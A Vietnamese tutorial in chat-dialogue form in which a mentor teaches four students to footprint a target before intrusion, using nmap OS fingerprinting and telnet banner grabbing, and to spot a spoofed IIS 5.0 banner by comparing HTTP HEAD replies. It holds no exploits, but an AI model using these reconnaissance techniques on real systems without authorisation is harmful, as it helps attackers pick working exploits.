"Thông tin này đã hơi cũ rồi nhưng có phần lớn vẫn còn giá trị. Thử 'ngâm kíu' xem sao."
'cuti' tắc lưỡi:
"Chậc.... có những OS em chưa hề nghe qua luôn, đừng nói chi là có để mà thử . Còn mấy cái cột WINDOW, DF và TOS để làm gì vậy anh?"
Tôi đáp:
"À, WINDOW là window size của packet, DF là viết tắc của "don't fragment" và TOS là viết tắc của "type of service". Em xem trong cuốn 'cẩm nang' tcp/ip của Richards thì sẽ rõ chúng là gì, có vai trò gì. 3 giá trị WINDOW, DF và TOS cũng là các giá trị đặc thù trong việc ứng dụng tcp stack trên mỗi hệ điều hành. Bởi vậy, có thể dùng các giá trị này để phần nào xác định footprint."
'haothu' tham gia:
"Em cũng chưa hề nghe qua tên của một số hệ điều hành trên danh sách này. Chắc điều kiện ở VN thì có lẽ khó lòng mà tiếp cận được nhưng cái chính là để mình tham khảo cho một số hệ điều hành mình có thể mó tay vào. Nhưng mà làm sao thu thập được các thông tin ở trên hở anh? Chẳng lẽ muốn biết thì phải cài hết các hệ điều hành đó mà vọc sao?"
Tôi trả lời:
"Không em. Thông thường một project như nmap khởi đầu chỉ nhỏ thôi và nó cũng thừa hưởng khá nhiều từ những công cụ đi trước. Họ tạo một database để mọi người đóng góp các footprint đã được tìm thấy. Mỗi người một ít, lâu dần nó đồ sộ và bao gồm rất nhiều thông tin. Chẳng có ai có thể tự tạo ra mọi thứ được đâu em ."
'haothu' đáp:
"À, ra vậy."
'ccxx' lên tiếng:
"Em thấy nmap có option -O để đoán OS của máy mình muốn thăm dò. Thật sự nó làm việc thế nào vậy anh?"
'docco' xen vào:
"Em thì khoái tìm cách khắc chế mấy cái rà quét như nmap mà thôi. Em nghĩ trước mắt mình chỉ cần thừa hưởng những điều đã được hình thành cũng đã đủ vỡ cả đầu rồi."
Tôi đáp:
"Ý kiến của ccxx và docco đều hữu lý cả. Có lẽ mấy anh em mình bàn đến chuyện này sau hả? Mình ngồi 'ngâm' thế này đã khá lâu. Anh phải dọt. Lần này mình bàn khá nhiều vấn đề đó, cho nên mấy đứa chịu khó xem lại và kiểm chứng, thử nghiệm sơ sơ để nắm hả? Chào mấy đứa."
Bộ bốn đáp:
"Chào anh."
Tôi logoff
10/01/2006
<còn tiếp>
|
|
|
14. Banner, thật hay giả?:
Một tuần lễ trôi qua. Tôi nhận được vài e-mail của bộ tứ cuti, ccxx, docco và haothu với nội dung phần lớn là những thắc mắc về lý do tại sao việc xác định "footprint" của mục tiêu lại quan trọng đến như vậy. Tôi quá bận rộn nên chỉ hồi đáp một cách tổng quát và hẹn lần 'đà khía' kế tiếp sẽ trả lời chi tiết hơn. Tôi cũng không quên nhắc mấy 'trự' nên xem kỹ cơ chế truyền tải thông tin của giao thức TCP vì nó sẽ dẫn đến một bước sâu hơn trong việc tìm "footprint" của mục tiêu. Bộ tứ đề nghị hoãn lại cuộc 'đà khía' thêm một tuần để đủ thời gian chuẩn bị và tất nhiên là tôi đồng ý.
Thêm một tuần lễ trôi qua. Tôi nhận được một offline message của 'cuti' hẹn cuối tuần gặp nhau trên YIM. Tôi đồng ý.
Chiều thứ bảy, lúc 2 giờ trưa tôi vào YIM thì bộ tứ đã có mặt đầy đủ. Trong chốc lát tôi nhận được lời mời tham gia "conference".
'cuti nhanh nhảu:
"Chào anh, anh khoẻ hông? Bọn em lên đây cả tiếng đồng hồ rồi. Đang nói chuyện tầm phào cho vui trong khi chờ anh đó."
Tôi chào bộ tứ:
"Chào mấy đứa. Khoẻ hết chớ? Sao lên sớm vậy? Khoa có chuyện gì mà vắng mặt lâu vậy em?"
'haothu' đáp:
"Dạ em kẹt một số chuyện gia đình nhưng mọi chuyện xong hết rồi. Bây giờ em sẽ tham gia 'đà khía' đều đặn hơn. Em cũng lấy nội dung mấy lần trước để xem hết rồi anh."
'ccxx' đi ngay vào vấn đề:
"Em có gởi mail hỏi anh lý do tại sao việc xác định 'footprint' lại quan trọng như vậy và anh hứa là anh sẽ giải thích chi tiết. Vậy bây giờ anh tiện giải thích không anh?"
'docco' chêm vào:
"Ui, không ngờ bà Như lanh thiệt. Tui chưa kịp hỏi bà đã hỏi rồi. Anh D ơi, em đọc kỹ lại mấy bài anh em mình 'đà khía' thì thấy việc dò tìm và xác định 'footprint' của mục tiêu rất quan trọng. Như anh đã đề cập trước đây muốn khai thác một mục tiêu thì phải nắm rõ mục tiêu. Tuy nhiên, em vẫn chưa hoàn toàn nắm được vấn đề một cách xác thực. Anh nói rõ hơn được không anh?"
Tôi đáp:
"Ừa, việc xác định 'footprint' quan trọng và mất thời gian bởi vì nó quyết định cho sự thành công hay thất bại của việc thâm nhập. Nói trên bình diện bảo mật, che dấu hoặc thay đổi 'footprint' sẽ phần nào đánh lạc hướng hoặc làm chậm kẻ muốn tấn công. Những hệ thống, những máy chủ không có gì bảo vệ thì chẳng có gì đáng nói; chỉ cần một vài thao tác là em đã có thể xác định 'footprint' của nó cho nên việc xác định 'footprint' không còn đáng kể nữa. Tuy nhiên, có những trường hợp admin của hệ thống nào đó cố tình thay đổi 'footprint' của hệ thống để đánh lừa kẻ muốn tấn công thì sự thể hoàn toàn khác."
'haothu' hỏi tiếp:
"Cụ thể như thế nào anh? Em thấy khó hình dung quá "
Tôi trả lời:
"Ừa, quả thật là hơi khó hình dung nếu em chưa 'kinh qua' những chuyện này. Hãy thử 'đào xới' một tí xem sao? Anh nhớ đã có lần anh đề cập đến chuyện 'các trình độ thâm nhập' rồi phải không?"
'cuti' đáp:
"Dạ, có phải ý anh là chuyện 'dân hacker thứ thiệt' tự thử nghiệm và tìm lỗi để thâm nhập, 'dân hacker bán chuyên' thì dựa vào lỗi đã được công bố trên bug-track và dân 'kiddie' thì chỉ dùng công cụ có sẵn' không vậy?"
Tôi đáp:
"Ừa, đúng vậy. Hãy thử nghĩ xem, trường hợp 'dân hacker thứ thiệt tự thử nghiệm và tìm lỗi', chuyện 'footprint' dính líu gì ở đây?"
'ccxx' đáp:
"Em nghĩ chuyện 'footprint' chẳng còn quan trọng với trường hợp 'hacker thứ thiệt' nữa."
Tôi hỏi tiếp:
"Em giải thích thêm một tí được không?"
'ccxx' đáp:
"Em thấy quá hiển nhiên mà anh? Nếu như 'hacker thứ thiệt' tự nghiên cứu và tìm lỗi thì hẳn nhiên anh ta phải làm việc cụ thể trên một hệ điều hành, trên một môi trường nào đó. Em hình dung là anh ta phải lập một máy chủ có hệ điều hành cụ thể, có phiên bản chương trình cụ thể rồi mới thử nghiệm và tìm lỗi. Cho nên, 'footprint' nằm trong tay anh ta là chuyện hiển nhiên."
Tôi cười, đáp:
"Rồi, cuti, haothu, docco nghĩ sao với nhận định này của 'ccxx'?"
Cả ba im lặng hồi lâu. Sau cùng, 'haothu' lên tiếng:
"Em nghĩ 'ccxx' nói đúng lắm nhưng nó chỉ giới hạn trong trường hợp tay 'hacker thứ thiệt' đó tìm lỗi trên chính máy chủ do mình thiết lập. Còn trường hợp tìm lỗi trên một server nào đó thì sao? Tay 'hacker thứ thiệt' ấy vẫn phải xác định 'footprint' như thường. Không biết em nói có đúng không?"
'docco' lên tiếng:
"Ý em cũng giống như ý thằng Khoa đó anh."
'cuti' góp phần:
"Đúng rồi. Tự thiết lập một máy chủ, cài soft rồi tìm lỗi cụ thể thì chuyện 'footprint' là chuyện không cần thiết vì mình đã thiết lập mọi thứ theo ý. Trường hợp các tay 'hacker thứ thiệt' thử dò tìm lỗi trên các máy chủ không phải do họ làm chủ có xảy ra không anh?"
Lúc này tôi mới lên tiếng:
"Anh tin rằng nhận định của 'ccxx' rất hữu lý. Hầu hết các trường hợp thử nghiệm và tìm lỗi xảy ra trên chính server mà tay 'hacker thứ thiệt' ấy thiết lập. Cho nên, chuyện xác định 'footprint' ở đây không còn là một việc cần thiết nữa. Riêng trường hợp thử nghiệm trên server không phải do mình thiết lập thì anh không thể xác định được vì chẳng có số liệu nào cho chuyện này. Tuy nhiên, anh hình dung rằng trường hợp 'thử trên server mình không làm chủ' vẫn có thể xảy ra nhưng khá ít. Lý do là thử nghiệm và tìm lỗi như thế khá mơ hồ và kém hiệu xuất. Hơn nữa, để thử nghiệm và tìm lỗi một cách đúng mức, em cần phải sử dụng hàng loạt công cụ như debugging, tracing... em phải lặp đi, lặp lại một test case với nhiều biến số khác nhau để tìm kết quả. Những thao tác này nằm trong khuôn khổ 'local', có nghĩa là em phải có quyền sử dụng và thực thi các công cụ ngay trên máy chủ để tìm lỗi."
Tôi dừng lại vài giây và hỏi tiếp:
"Vậy, trường hợp các 'hacker bán chuyên' dựa vào bug-track để thâm nhập thì dính líu gì đến chuyện 'footprint'?"
Lần này 'cuti' nhanh nhảu trả lời:
"Em nghĩ nó 'dính líu' nhiều lắm chứ. Em thấy trên bug-track ghi rõ lỗi trên hệ điều hành nào, cho phiên bản của software nào. Điều này chứng tỏ, nếu tìm cách áp dụng nó để exploit trên một hệ điều hành khác, trên phiên bản software khác thì cơ hội thành công hầu như không có. Bởi vậy, dân 'bán chuyên' phải đi qua chặng đường xác định xem mục tiêu của mình có rơi vào 'phạm vi' con bug đã được công bố hay không thì mới có kết quả khả quan."
Tôi đáp:
"Hay lắm. Mấy đứa còn ý kiến nào khác không?"
'docco' lên tiếng:
"Em nghĩ Hưng nói đúng quá rồi. Chỉ có điều 'dân bán chuyên' xác định 'footprint' ra sao đây?"
Tôi cười, đáp:
"Đó. Bây giờ em đã nhận ra tầm quan trọng của việc xác định 'footprint' chưa? Chuyện 'dân bán chuyên' xác định 'footprint' ra sao thì mình sẽ bàn đến."
'haothu' trả lời:
"Chuyện này thì quá rõ rồi. Nếu không xác định được 'footprint' thì chỉ có nước làm... mò mà thôi."
Tôi đẩy thêm:
"Rồi, mình đã xác định được hai trường hợp. Nếu vậy thì trường hợp các 'kiddie' tìm đâu ra vài món đồ nghề thì dính líu gì đến 'footprint' nhỉ?"
'ccxx' cười xoà:
"Hi hi hi, em nghĩ là anh đang hỏi mẹo cái gì đây rồi. Nếu dựa trên khái niệm thế nào là 'kiddie' mà anh đưa ra trước đây thì mấy tay này có sá gì 'footprint' hay không đâu anh? Vả lại, liệu họ có kiên nhẫn hoặc kiến thức để tìm 'footprint' hoặc quý trọng kết quả mình tìm được ở mức độ thăm dò hay không?"
'docco' phản đối:
"Tui không đồng ý với bà Như điểm này. Hiện nay có quá nhiều công cụ từ thương mại đến mã nguồn mở và những công cụ này rất mạnh, rất dễ dùng và cũng rất nguy hiểm. Nếu 'kiddie' chịu khó một tí thì chuyện gì cũng có thể được cả."
'ccxx' phản đòn:
"Vậy ý ông 'kiddie' đủ khả năng và kinh nghiệm xác định 'footprint' bằng cách dùng công cụ nào đó một cách dễ dàng? Tui không tin như vậy. Cho dù có dùng tool nào đó, dù dễ đến đâu, ông cũng cần có ít nhiều kiến thức trong lãnh vực này trước khi có thể dùng nó một cách hiệu quả. Liệu 'kiddie' có chịu khó đọc hướng dẫn một cách cẩn thận trước khi dùng không? và liệu sau khi lấy được thông tin nào đó, họ có đủ sức đối chiếu với thông tin được công bố hay tìm cách xác định lại thông tin tìm được xem chúng có đáng tin cậy hay không?"
'haothu' xen vào:
"Hì hì, bà Như đánh giá 'kiddie' thấp quá vậy? Bản thân tui thì quả thật tui thấy hơi oải khi phải dùng một công cụ chạy trên dòng lệnh và phải đọc hướng dẫn sử dụng. Loại công cụ này thường có hướng dẫn quá ngắn gọn, đọc xong phải vận dụng, suy nghĩ thì mới dùng được. Tuy vậy, nếu tui mà 'kết' một cái gì thì tui sẵn sàng bỏ công ra để lãnh hội nó thôi."
'cuti' góp chuyện:
"Em cũng thấy Khoa nói đúng đó. Bản thân em cũng bị dính vào cảm giác này."
Tôi hướng câu chuyện về trọng điểm:
"OK, cứ cho là có 'kiddie' có thể dùng các công cụ để xác định 'footprint' một cách không khó khăn, vậy, mình có thể thấy được tầm quan trọng của việc xác định 'footprint' rồi chứ? 'haothu', em thấy sao?"
'haothu' lững lờ:
"Dạ, trên mặt nguyên tắc thì sự thể rõ ràng hơn rồi nhưng cái này chắc phải bắt tay vào làm thì mới đánh giá đúng mức được tầm quan trọng của việc tìm 'footprint' thôi."
Tôi cười, cố gút vấn đề lại:
"OK, em thử hình dung xem, có bao nhiêu phần trăm 'hacker chuyên', bao nhiêu phần trăm 'hacker bán chuyên' và bao nhiêu phần trăm là 'kiddie'?"
'haothu' trả lời:
"Số lượng chính xác thì em không có rồi đó nhưng em nghĩ rằng số 'kiddie' chắc là chiếm đa số, sau đó là đến nhóm 'hacker bán chuyên'. Nhóm 'hacker chuyên' thì có lẽ chỉ chiếm thiểu số mà thôi."
Tôi hỏi tiếp:
"Vậy, em thử hình dung có bao nhiêu phần trăm 'kiddie' sẽ tìm tòi 'footprint' khi vớ phải một công cụ dùng để tấn công nào đó? Có bao nhiêu phần trăm dân 'bán chuyên' phải mó tới chuyện 'footprint'? Và nếu họ (cả 'kiddie' lẫn 'dân bán chuyên') không mó đến chuyện 'footprint' thì tỉ lệ thành công sẽ nằm ở mức nào?"
Không đợi 'haothu' trả lời, 'docco' chen vào:
"Theo em thì tỉ lệ thành công gần như không có. Nếu cứ nhắm mắt mà phang đại thì chẳng khác gì chó ngáp nhằm ruồi cả."
Tôi đúc kết điểm thắc mắc của 'haothu':
"Vậy thì xét trên căn bản, việc tìm 'footprint' là việc rất cần thiết cho quá trình thậm nhập chớ gì? Đồng ý với nhau điểm này rồi chứ?"
'ccxx' đáp ngay:
"Em thì thấy điều này sáng tỏ như con thỏ vậy. Chỉ có điều em còn hơi ấm ức là vì em muốn 'đào xới' thêm cho ông Khoa thấy là muốn dùng công cụ nào đó đúng mức thì mình phải có kiến thức căn bản cho vấn đề này."
'cuti' tiếp theo:
"Em cũng vậy."
'docco' cũng cho cảm nghĩ và đưa ra vấn đề kế tiếp:
"Chắc chắn là việc tìm 'footprint' là việc cần thiết rồi. Bây giờ em muốn hỏi anh là tìm 'footprint' bao gồm những điểm chính nào. Anh cũng hiểu là em chưa dám đặt bọn em ở vị trí là 'dân chuyên', cũng chẳng muốn đặt bọn em ở vị trí là 'kiddie' nên có lẽ bọn em cần hiểu nguyên tắc tìm 'footprint' nhưng đám 'bán chuyên' vậy "
Tôi trả lời, không quên ghẹo 'cuti':
"OK 'ccxx', anh nghĩ em sẽ có dịp thực hiện ý định thôi. Chắc chắn mình sẽ đụng đến chuyện này. Còn 'cuti', em cũng vậy có nghĩa là 'bà tiền hô, ông hậu ủng' hả? ."
Tôi tiếp tục:
"Anh nhớ hồi nãy em có nhận xét là dân 'bán chuyên' thường dựa vào bug-track và trên bug-track thường có ghi rõ hệ điều hành, phiên bản của nó và phiên bản software của dịch vụ. Nếu vậy, theo em nghĩ, xác định 'footprint' là xác định những cái gì một cách cụ thể?"
'docco' liền đáp lời:
"Oài... quá hiển nhiên mà anh? Tất nhiên là mình xác định ba điều chính:
- mục tiêu chạy trên hệ điều hành nào
- phiên bản của hệ điều hành đó
- software tạo dịch vụ là software gì, có phiên bản nào
phải không anh?"
Tôi cười, đáp:
"Đúng rồi. Nhưng... em nên tự tin hơn. Cố gắng đừng kèm thêm đoạn 'phải không anh' làm chi . Nếu 'không phải' hoặc chưa đầy đủ thì anh sẽ ý kiến liền. Đừng lo.
Rồi, vậy thì mình khai triển ba điều 'docco' đưa ra vậy. Câu hỏi thứ nhất được đặt ra: làm sao xác định được mục tiêu chạy trên hệ điều hành nào?"
'bộ tứ' im lặng, trầm ngâm hồi lâu. Sau đó 'cuti' lên tiếng:
"Em nhớ là em đã có đọc qua vài đoạn về chuyện này nhưng lúc đó em không cho là quan trọng nên không ghi nhận nó. Hình như là 'banner' cái gì gì đó."
'docco' chêm vào:
"À, đúng rồi, 'banner grabbing'. Đây là một cách lấy thông tin mình cần về hệ điều hành và phiên bản của mục tiêu phải không anh?"
Tôi đáp:
"Đúng rồi, đây là một cách dễ nhất, thông dụng nhất và có thể có kết quả cực kỳ chính xác hoặc cực kỳ sai lạc."
'ccxx' ngạc nhiên:
"Sao kỳ vậy anh? làm sao mà vừa có thể chính xác và sai lạc?"
Tôi cắt nghĩa:
"Thông thường banner grabbing như thế này, giả sử mục tiêu có dịch vụ telnet đang lắng nghe, em thử:
Code:
$ telnet myhost.mydomain.com
Red Hat Linux release 9 (Shrike) myhost.mydomain.com
myhost login:
cho mình thấy ngay mục tiêu đang chạy trên RedHat và phiên bản là 9.0. Thông tin này có thể hoàn toàn chính xác nếu như admin của server này hoàn toàn không thay đổi, che dấu footprint của hệ thống. Nếu vậy thì thông tin cần biết đã có một cách dễ dàng. Tuy nhiên, làm sao xác định được thông tin này xác thực? Nếu mục tiêu không mở dịch vụ telnet thì có thể làm gì khác để xác định thông tin này?"
'haothu' không trực tiếp trả lời câu hỏi của tôi mà lại hỏi tiếp một câu khác:
"Ủa, sao anh không cho thông số giá trị cổng dịch vụ ở trên vậy? Em thấy thường thường lệnh telnet đi theo thông số địa chỉ và cổng mà?"
Tôi đáp:
"À, nhiều người bối rối chi tiết rất nhỏ này. Khi em dùng lệnh telnet và chỉ có thông số thứ nhất là địa chỉ nhưng không kèm theo thông số thứ hai là cổng thì telnet dùng cổng (đích) mặc định là 23 (cổng telnet). Nói một cách khác, nếu em không cung cấp giá trị cổng thì telnet client (chương trình telnet em dùng trên command prompt là telnet client) sẽ tự động truy cập đến địa chỉ đã cho ở cổng 23. Nếu em cung cấp địa chỉ và cổng thì telnet client sẽ truy cập đến địa chỉ ấy ở cổng được ấn định. Ví dụ, em gõ
Code:
$ telnet www.mysite.com 80
thì telnet client sẽ truy cập đến địa chỉ là www.mysite.com ở cổng 80. Rõ rồi chứ?"
'haothu' ậm ừ:
"Dạ... nhưng... ùm... mỗi lần em dùng telnet trên windows để telnet đến cổng nào đó, sau em chẳng thấy có chữ gì hết, chỉ có cái command prompt đen ngòm vậy anh? Hay em làm gì sai?"
Tôi đáp, hơi thiếu kiên nhẫn:
"À, mấy cái này là do telnet trên Windows không có 'echo' đó thôi. Nếu em gõ Run/cmd rồi trên dos-prompt này em mới gõ telnet thì Windows sẽ dùng telnet client bên trong command window (DOS-console) và em không set 'echo' được cho nên nó... đen ngòm. Nếu em thử gõ Run/C:\Winnt\system32\telnet.exe thì Windows sẽ tạo một process riêng biệt cho telnet client và nó ở trong tình trạng tạm gọi là "full mode", lúc ấy em có thể set 'echo' được. Trong chế độ này, em có thể set biến LOCAL_ECHO và nó sẽ hiện ra chữ mỗi khi em gõ thôi. Mấy cái này có trong phần "help" của Windows cả. Em chịu khó tìm hiểu chi tiết chớ mình mà đào sâu mấy thứ này thì đi xa trọng tâm đó em."
'haothu' trả lời:
"Dạ. Chắc do em chưa mày mò đúng mức thôi."
'cuti' chen vào:
"Mấy cái này đúng nghĩa là 'hiểu rõ', 'hiểu ngọn ngành' đây. Ui... biết chừng nào mới 'ngọn ngành' mọi thứ đây trời?"
Tôi tiếp tục:
"Thằng này cứ than với thở. Từ từ thì sẽ ngọn ngành thôi em. Em phải đụng đến nó, phải chịu khó thì mới nắm được nhiều. Thôi mình tiếp tục chuyện hồi nãy đi hả?"
'docco' hỏi ngay:
"Vậy nếu mục tiêu ấy không có dịch vụ telnet thì mình telnet vào một dịch vụ khác phải không anh?"
Tôi cười, đáp:
"Đúng rồi. Nhưng lý do tại sao mình telnet vào một dịch vụ khác?"
'docco' trả lời:
"Hình như dịch vụ nào cũng có cái 'banner' hết phải không anh? Nếu vậy, khi mình telnet vào dịch vụ, có nghĩa là mình muốn kết nối với dịch vụ ấy thì nó thường 'chào' mình bằng một biểu ngữ?"
Tôi đáp:
"Đúng lắm. Hình như em có ngâm cứu qua mấy cái này rồi phải không Duy?"
'docco' đáp:
"Hì hì, đúng là không qua mặt anh nổi. Đúng là em có 'ngâm' qua vài thông tin về chuyện 'footprint' đó anh vì lần trước mình có bàn qua về chuyện này. Em nghĩ chắc nó phải quan trọng nên anh mới khai triển nó, cho nên em đọc thêm để nắm thêm thông tin."
Rất hài lòng với sự chuyên tâm của docco, tôi đáp:
"Hay lắm. Nếu em chuyên tâm như vậy thì em sẽ nắm được chìa khoá của vấn đề một cách nhanh chóng đó Duy "
'docco' lúng túng:
"Dạ... ùm... à.... em chỉ cố quan sát và rút kinh nghiệm từ những lần mấy anh em mình 'đà khía' thôi anh. Em rút ra một điều là anh luôn luôn có dụng ý gì đó khi đưa ra một vấn đề cho nên lần này em lo 'rào' trước, hì hì."
'cuti' xen vào:
"Em cũng ráng 'rào' nhưng hình nhưng em chưa vững tâm bằng thằng Duy. Em vẫn chưa có thể xác định là tự nên làm cái gì tiếp."
'haothu' trêu 'cuti':
"Tao thấy mày nên lấy vợ là chuyện tiếp theo mày nên làm... tiếp "
Tôi thầm nghĩ, mấy ông tướng này làm sao tránh khỏi chit chat. Vậy cũng vui nhưng phải 'điều tác' một tí không thì sa đà, mất thời gian. Tôi bèn lên tiếng:
"Ừa, nó mà lấy vợ thì chắc khỏi thấy mặt nó luôn. Thôi, mình 'khoá' cái vấn đề đang lở dỡ kia rồi anh phải dọt á."
'ccxx' lên tiếng:
"Dạ... cám ơn anh cứu bồ, chớ hông thì mấy ổng chọc đến mai cũng không chịu ngưng đâu . Em muốn hỏi anh là nếu mấy ông admin biết trước chuyện những tay thâm nhập cố tìm thông tin từ banner để tìm cách tấn công, họ tháo hết mấy cái banner đi thì lấy đâu mà thăm dò hả anh? Em thì không rõ họ tháo mấy cái banner bằng cách nào nhưng em hình dung là nếu gắn lên được thì phải tháo xuống được."
Tôi cười, đáp:
"Ái chà, con bé nói chuyện phòng thủ hả? Đúng là bản năng tự nhiên của phụ nữ . Em đưa ra một điểm hết sức lý thú. Đúng rồi, ngày nay các admin có quan tâm đến bảo mật đều thực hiện việc 'dấu' banner để giảm thiểu thông tin về máy bị tiết lộ. Có nhiều admin còn cực đoan hơn nữa là họ chẳng những dấu mà còn cố tình thay đổi từ A thành B để đánh lừa những kẻ thăm dò nữa."
'cuti' xen vào:
"Nhưng mà khoan, cho em hỏi một chi tiết này một tí anh? Hình như mình chỉ thấy được cái banner của một dịch vụ khi mình cố tình truy cập nó ở mức độ thấp hơn phải không anh? Ví dụ em dùng Outlook Express để gởi và nhận mail thì làm sao mình thấy được mấy cái banner kia?"
Tôi đáp:
"Em thắc mắc một điểm rất có lý. Thật ra mail client như Outlook Express 'thấy' hết những cái banner nhưng nó thường 'dấu'. Ngoại trừ em muốn xem cái 'header' của nó. Em thử tìm tòi xem trong mấy cái 'header' của smtp mà mail client nhận được, nó có chút ít 'footprint' không? . Những dịch vụ khác như ftp, khi em dùng ftp client để truy cập ftp server, nếu ftp server này không dấu banner thì em sẽ thấy ngay cái banner trong lúc truy cập. Dịch vụ http thì lại khác, em không thấy mấy cái banner bởi các trình duyệt ứng dụng để 'hiển thị' những thông tin mà người dùng bình thường cần xem mà thôi. Tuy nhiên, nếu em truy cập http service ở dạng 'raw' (như đi qua telnet) thì em có thể thấy rất nhiều thông tin nếu như server này không dấu banner.
Nên nhớ một điều là không phải banner nào cũng chứa đựng thông tin về hệ điều hành và phiên bản của nó. Thông thường nó chỉ chứa tên software tạo dịch vụ (mình telnet vào) và phiên bản của nó. Tuy vậy mình cũng có thể phần nào đoán được hệ điều hành dựa trên thông tin này."
'cuti' đáp một cách thoả mãn:
"À, vậy thì tùy dịch vụ mà tìm banner phải không anh? Nhưng hình như cách dùng telnet là chắc ăn nhất. Nhưng mà em thấy chi tiết 'có thể phần nào đoán được hệ điều hành' có vẻ không được chắc ăn vậy anh?"
Tôi đáp:
"Ừa, nếu như banner đó là banner thứ thiệt, không hề bị thay đổi. Còn chuyện chắc ăn thì chẳng có gì mà chắc ăn đâu em. Mỗi người có thể tìm kết quả mỗi khác trong quá trình thăm dò bởi vì có quá nhiều thông tin và tùy vào đương sự mà phân tích, chọn lọc thông tin nào logic nhất, đáng tin cậy nhất. Nên nhớ rằng thăm dò không phải là 'hack' nha em. 'Thăm dò' là 'thăm dò', là một quá trình tìm tòi, phân tích những dữ kiện có thể lấy được dựa vào những công cụ, phương tiện cho phép.
Quay lại nhận định của 'ccxx' một tí cho trót hả? Em nghĩ thế nào khi em thử telnet vào một server và nó cho em thông tin như sau:
Code:
$ telnet www.mydomain.com 80
Trying
www.mydomain.com...
Connected to www.mydomain.com.
Escape character
is '^]'.
HEAD /somefile.txt HTTP/1.0
HTTP/1.1 404 Not Found
Date: Thu, 25 Apr 2004 14:29:46 GMT
Server: Microsoft-IIS/5.0
Connection: close
Content-Type: text/html; charset=iso-8859-1
Connection closed by foreign host.
"
'ccxx' ngẫm nghĩ rồi trả lời:
"Dạ thông tin ở đây cho thấy server là một con IIS 5.0, em tin chắc đây là một web server chạy trên hệ điều hành Windows 2000."
Tôi khơi mào:
"Còn mấy đứa có ý kiến gì khác không vậy?"
Ba trự kia im lặng khá lâu. Sau đó 'cuti' rụt rè lên tiếng:
"Èm... à.... em nghĩ có cái gì tàng ẩn ở đây hay sao đó. Em cũng nghĩ cái này là một con IIS 5.0, mà đã là IIS 5.0 thì nó chạy trên Windows 2000. Không biết có cái gì ẩn khuất ở đây không nhỉ?"
'docco' cũng lên tiếng:
"Hì hì, thằng Hưng cũng bắt đầu có bịnh hoài nghi rồi. Em cũng nghĩ như Hưng vậy. Tuy nhiên, tự nhiên em cũng hơi hoài nghi vì nếu nó đơn giản và rõ ràng như thế thì anh đưa nó ra làm chi?"
'haothu' cũng tham gia:
"Chắc chắn là Windows 2000 rồi. Thông tin rõ mười mươi thế kia mà."
Tôi không trả lời mà đưa ra thêm một ví dụ khác:
"Được rồi, để anh đưa ra thêm một ví dụ khác để tụi em tìm xem có gì đặc biệt không hả? Đây:
Code:
$ telnet www2.mydomain.com 80
Trying
www2.mydomain.com...
Connected to www2.mydomain.com.
Escape character
is '^]'.
HEAD /somefile.txt HTTP/1.0
HTTP/1.1 404 Object Not Found
Server: Microsoft-IIS/5.0
Date: Thu, 25 Apr 2004 14:35:23 GMT
Content-Length: 460
Content-Type: text/html
Connection closed by foreign host.
"
Bộ bốn hoàn toàn im lặng nhiều phút đồng hồ. Hồi lâu, 'docco' lên tiếng:
"Em thấy rõ cái thứ nhì khác cái thứ nhất một chút là cái thứ nhì có thêm Content-Length và Content-Type thì hơi khác một chút vì không có đoạn 'charset=iso-8859-1'. Tại sao chúng lại khác nhau ở mấy điểm này? Chắc chắn chúng là 2 server riêng biệt vì một cái là www.mydomain.com, cái kia là www2.mydomain.com. Em chỉ không hiểu được lý do tại sao chúng khác nhau mặc dù cả hai đều là IIS 5.0."
'ccxx' nhận định:
"Hay là một trong hai server trên có banner giả? Dám lắm đó. Anh đang khai triển việc thay đổi banner phải không nào? Vậy chắc chuyện này có thể lắm."
'cuti' và 'haothu' cùng cảm thán:
"Ái chà."
"Đúng rồi."
Tôi cười, thong thả đáp
"Bé Như nhà mình tinh tế lắm. Rõ ràng là mình đang khai thác chuyện thay đổi banner mà. Quả thật một trong hai server trên giả dạng banner đó. Nếu vậy làm sao mình xác định được cái nào thiệt, cái nào giả?"
'docco' xuýt xoa:
"Ái chà, thật là lý thú. Em không ngờ đào xới mấy cái HTTP header ở tầng này lại có những điều lý thú đến như vậy. Làm sao mình xác định được cái nào thiệt, cái nào giả bây giờ anh?"
Tôi đáp:
"Hì hì, anh hỏi em, em hỏi lại anh? Cái này để em suy nghĩ trước cái đã. Anh trả lời liền thì mất hay đi. Em tìm cách thử một cái xem nào?"
'ccxx' thốt lên:
"A... có rồi, có rồi. Trường mình có một con server chạy Windows 2000 và IIS 5. Cứ thử telnet vào nó và chạy y hệt dòng HEAD như trên ví dụ thì sẽ biết ngay thôi."
'cuti', 'haothu', 'docco' đồng cảm thán:
"Đúng rồi."
"Ờ hớ."
"Sao mình không nghĩ ra nhỉ? Đúng là đàn bà, con gái tinh tế mấy chuyện này."
Sau vài phút, 'cuti' lên tiếng trước. Quả thật mấy ông đực rựa nhanh nhảu hơn trong chuyện 'động tay, động chân' nhưng lại chậm hơn mấy cô khoản 'nhận xét tinh tế'
"Thằng thứ nhì đúng là thằng IIS 5.0"
Tiếp theo đó là 'docco', 'haothu' và 'ccxx' đồng xác nhận:
"Đúng rồi, chắc chắn server thứ nhì chạy con IIS 5.0 thứ thiệt."
"Hết đường thoát."
"Em đã nói thế."
và nhiều câu trao đổi khác.
Cái YIM 'conference' bé nhỏ trở nên rộn rã bằng những câu cảm thán. Tôi hiểu sự rộn rã này không phải tính quan trọng hay mới mẻ của những điều bộ bốn tìm thấy mà ở chỗ chính ở chỗ bộ bốn nhúng tay vào việc quan sát, phân tích, thao tác, so sánh và đúc kết ra được. Tôi lên tiếng:
"Trong hai ví dụ trên, còn có chi tiết nào khác nhau giữa hai server? Chi tiết này hết sức đặc biệt. Bọn em xem thử?"
Như tôi dự phỏng, chính 'ccxx' lại tìm ra điểm khác biệt trước tiên trong bộ bốn. 'ccxx' đáp:
"Em tìm ra rồi. Cái khác nhau là 'HTTP/1.1 404 Not Found' và 'HTTP/1.1 404 Object Not Found' phải không anh? Server thứ nhất chỉ thông báo là 'không tìm thấy' còn con IIS thì lại thêm chữ 'object' vào trong thông điệp."
'haothu' đáp, vẻ tiếc rẻ:
"Công nhận bà Như lanh thiệt. Tui cũng vừa tìm ra, chưa kịp nói thì bà đã làm xong rồi."
Tôi hỏi tiếp:
"Vậy bọn em nghĩ điểm khác nhau mà Như đưa ra có gì quan trọng?"
'cuti' láu táu lên tiếng:
"Em thấy điểm khác biệt này chẳng ích lợi gì cả. Mấy ông Microsoft hay có thói làm cho khác người vậy thôi à."
'ccxx' nguýt 'cuti':
"Hứ... cũng là chứng nào tật nấy. Chưa suy nghĩ cho kỹ đã đôm đốp nữa rồi. Trong khuôn khổ 'nhận diện', điểm khác biệt kia hẳn phải có một giá trị nào đó chớ?"
